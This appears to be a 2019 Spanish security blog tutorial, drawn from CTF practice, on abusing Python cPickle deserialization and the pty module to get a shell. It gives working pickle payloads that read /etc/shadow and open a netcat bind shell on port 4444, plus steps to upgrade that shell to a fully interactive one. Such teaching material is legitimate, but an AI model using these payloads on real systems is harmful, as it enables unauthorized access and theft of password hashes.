viernes, 21 de junio de 2019

El pepinillo y el pty



Fui un incrédulo y me arrepiento … los CTF´s ayuda y mucho.

Gracias a ellos, se puede aprender a aprovecharse de ciertas librerías de Python para ganar una shell, más concretamente podemos aprovecharnos de la librería cPickled y de la librería PTY.

La librería cPickled se usa para serializar y deserializar estructuras de objetos, y se instala por defecto al instalar el entorno de Python (Más información). Pero su funcionalidad puede ser utilizada para ejecutar comandos del propio sistema, entre otras cosas.

La ejecución de comandos del sistema es tan simple como ejecutar en el entorno python la siguiente instrucción:

cPickle.loads(“c<librería>\n<función de la librería>\n(S'<comando a ejecutar>'\ntR. '\ntR.”)

Y para muestra, unos botones: 
 
1.- cPickle.loads("cos\nsystem\n(S'cat /etc/shadow | head -n 5'\ntR.'\ntR.")

Es una forma de ejecutar comandos del sistema a través de Python

En este caso se buscan las  contraseñas de un sistema Linux, pero debemos tener en cuenta el usuario que con el que se ha ejecutado el intérprete de Python, y por lo tanto de sus permisos, tal y como se muestra en el ejemplo de la siguiente imagen
 


2.- cPickle.loads("cposix\nsystem\np0\n(S'netcat -c '/bin/bash -i' -l -p 4444'\np1\ntp2\nRp3\n.")

Ejecución de la función: loads, de la librería cPickled

En este caso se busca montar una shell basada en ‘netcat’, que funcione de manera interactiva.

Conexión con la Shell montada sobre el puerto 4444

Con este último ejemplo tenemos un inconveniente, y es que hay ciertos comandos que no pueden ejecutarse correctamente debido a la gestión de la salida por pantalla, incluso habiendo solicitado la interactividad.

Pongamos un ejemplo: tras conectarnos remotamente al puerto 4444, intentamos saltar al puerto 22/TCP (SSH) de la misma máquina. 

No se obtiene respuesta de ningún tipo, mientras que si miramos en nuestro equipo (Shell donde se estaba trabajando con el intérprete de Python) la respuesta/error aparecerá, informándonos de la falta de interactividad.

Ejecución del comando: ssh

Respuesta/Error obtenido.

Este problemilla se puede resolver mediante la librería de python: PTY

Esta librería define las operaciones para manejar el concepto de pseudo-terminal: iniciar otro proceso y poder escribir/leer desde su terminal de control mediante programación (Más información), y se instala por defecto al instalar el entorno de Python.

IMPORTANTE: Esta librería sólo funciona bajo sistemas Linux.

Por lo tanto, para salir de un entorno Python y ganar una Shell que nos permita ejecutar comandos del sistema, sólo deberemos lanzar la siguiente instrucción:

Import pty; pty spawn (“/bin/bash”) 

 Ganamos una shell totalmente interactiva.

Como se puede observar, la petición del comando: ssh root@127.0.0.1”, ya no nos dará el error: “Pseudo-terminal will not be allocated because stdin is not a terminal”, visto anteriormente.

 Petición de comunicación con el puerto 22/TCP (SSH) tras ganar una shell totalmete interactiva

Hasta aquí todo perfecto, pero añadamos ahora como sugerencia, la posibilidad de usar la combinación de ambas librerías para abrir un shell remota, real y totalmente interactiva. Para ello debemos:

1.- Ejecutar en el entorno python: cPickle.loads("cposix\nsystem\np0\n(S'netcat -c '/bin/bash -i' -l -p 4444'\np1\ntp2\nRp3\n.")


2.- Conectarnos a través de: nc 127.0.0.1 4444 

3.- Ejecutar: python –c “import pty; pty.spawn(‘/bin/bash’)” 


4.- La imaginación al poder.

En cualquier caso …

Lo que hagas con la información es cosa tuya, no mía ... pero ten conciencia.

ENLACES DE INTERES

En referencia a la librería cPickled:

• https://dan.lousqui.fr/explaining-and-exploiting-deserialization-vulnerability-with-python-en.html 
• https://penturalabs.wordpress.com/2011/03/17/python-cpickle-allows-for-arbitrary-code-execution/ 
• https://blog.nelhage.com/2011/03/exploiting-pickle/ • https://lincolnloop.com/blog/playing-pickle-security/ 
• https://gist.github.com/mgeeky/cbc7017986b2ec3e247aab0b01a9edcd 
• https://gist.github.com/0xBADCA7/f4c700fcbb5fb8785c14 

 En referencia a otras maneras de conseguir una shell interactiva

• https://netsec.ws/?p=337 

En referencia a la personalización de la shell interactiva conseguida

• https://medium.com/bugbountywriteup/pimp-my-shell-5-ways-to-upgrade-a-netcat-shell-ecd551a180d2